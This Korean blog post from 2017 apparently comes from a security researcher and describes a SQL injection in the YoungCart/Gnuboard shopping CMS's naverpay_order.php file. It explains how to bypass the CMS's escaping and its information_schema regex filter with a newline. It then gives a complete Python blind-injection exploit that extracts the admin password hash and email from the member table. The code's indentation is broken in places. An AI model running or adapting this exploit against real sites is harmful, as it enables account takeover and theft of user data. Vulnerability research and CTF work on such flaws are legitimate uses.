2017년 7월 3일 월요일

YoungCart SQL Injection

영카트나 그누보드는 사실상 일반적으로는 SQL Injection이 불가능한 구조이다. 이유는 아래의 사진을 참고하자 



GET, POST, COOKIE, REQUEST 배열들을 전부 돌면서 escape를 하는 구조여서 일반적으로 ' 나 ", \ 들을 넣는다고 SQL Injection은 불가능하지만 그렇다고 아예 불가능 한건 아니다.

일단 난 저 escape하는 소스코드를 보고 다음과 같은 취약점 상황들을 주로 찾아볼려고 노력을 하였다.

case 1.


or


case 2.


이 외에도 여러가지 상황들이 있는데 귀찮으니 패스 하고 일단 첫번째 케이스는 이미 많이 터진 취약점인거 같아 패스했고 두번째 케이스 중심으로 찾아보기 시작했다.

찾다보니 shop/naverpay/naverpay_order.php 에서 비슷한 상황을 발견하였다


딱 봐도 뭔가 취약점이 터질거 같았다.

그래도 혹시 모르니 get_option_stock_qty 함수를 분석 해보았다.


쿼리 구조를 보니 $io_id 에다가 \를 넣어주고 $io_tpye에다가 injection query를 넣어주면 된다.
이렇게 해서 찾았다. 하지만 취약점을 찾고 아주 작은 문제점이 있었는데 바로 그누보드에서 쿼리를 실행 할때마다 information_schema를 정규식으로 막는다는 거였다.
 


소스코드를 보면 $sql = preg_replace("#^select.*from.*where.*`?information_schema`?.*#i", "select 1", $sql); 와 같이 information이 정규식에 매칭 되면 필터링을 한다 하지만 preg_replace 정규식 옵션에 's' 옵션이 없어서 그냥 %0a를 이용해서 우회를 해주면 되어서 우회 하고 익스플로잇을 짜다 보니 CMS는 모든 테이블명이 똑같은거란 생각이 나버려서 그냥 포기하고 그냥 hash처리 된 admin의 비밀번호를 가져오는 익스를 작성하였다.

사실 눈치챈 사람도 있겠지만 이 취약점을 오마주한게 'SECUINSIDE 2017 Simple Board' 문제이다 ㅋㅋ!
https://github.com/adm1nkyj/ctfwriteup/tree/master/my_task/secuinside_2017/simple_board - simple board write up & source code

대충 여기에 대한 썰을 풀어보자면 일단 취약점이 개인적으로 재밌었고 또 그누보드의 정규식을 보고 wargame에서 풀어봤던 regex bypass 문제가 생각나서 해봤는데 bypass가 성공적으로 되서 그냥 쓱쓱 문제로 내버렸다 ㅋㅋ

그럼 마지막으로 짜둔 Exploit Code이다 

import requests
import sys


if len(sys.argv) is 1:
  exit("input it_id value")


it_id = sys.argv[1]

url = "http://10.211.55.3/youngcart/shop/naverpay/naverpay_order.php"
header = {"Content-Type":"application/x-www-form-urlencoded"}

true = ""
false = ""

### find true , false ###
for i in range(1, 2):
payload = {"it_id[]":it_id,
  "io_id["+it_id+"]":"'",
  "io_type["+it_id+"][0]":"||1="+str(i)+"#",
  "ct_qty["+it_id+"][0]":"3"
 }

r = requests.post(url, data=payload, headers=header)
if i == 1:
true = r.text
else:
false = r.text

### get admin password ###
password = ""
email = ""
for i in range(1, 42):
for j in range(32, 128):
payload = {"it_id[]":it_id,
                  "io_id["+it_id+"]":"'",
                  "io_type["+it_id+"][0]":"||ascii(substr((select mb_password from g5_member where mb_id=0x61646d696e),"+str(i)+",1))="+str(j)+"#",
                  "ct_qty["+it_id+"][0]":"3"
                 }
r = requests.post(url, data=payload, headers=header)
if r.text == true:
password = password + chr(j)
print password
break
### get admin email ###
i = 1
email_len = 0
while True:
payload = {"it_id[]":it_id,
                   "io_id["+it_id+"]":"'",
                   "io_type["+it_id+"][0]":"||length((select mb_email from g5_member where mb_id=0x61646d696e))="+str(i)+"#",
                   "ct_qty["+it_id+"][0]":"3"
                  }
r = requests.post(url, data=payload, headers=header)
        if r.text == true:
email_len = i
break
i = i + 1
for i in range(1,email_len + 1):
for j in range(32, 128):
payload = {"it_id[]":it_id,
                           "io_id["+it_id+"]":"'",
                           "io_type["+it_id+"][0]":"||ascii(substr((select mb_email from g5_member where mb_id=0x61646d696e),"+str(i)+",1))="+str(j)+"#",
                           "ct_qty["+it_id+"][0]":"3"
                          }
                r = requests.post(url, data=payload, headers=header)
                if r.text == true:
                        email = email + chr(j)
                        print email
                        break
print password
print email


댓글 2개:

  1. 얼마전 해킹(인젝션)을 당했는데요. 그누보드 최신버전과 아미나 빌더 최신버전을 사용하고 있었지만...
    당했네요..
    정말 무섭습니다..

    답글삭제
    답글
    1. 사실 그누보드에도 아직 많은 취약점이 있을거고, 아미나 빌더라는것에도 취약점이 있을거라 생각 되네요 힘내세요ㅜㅜ

      삭제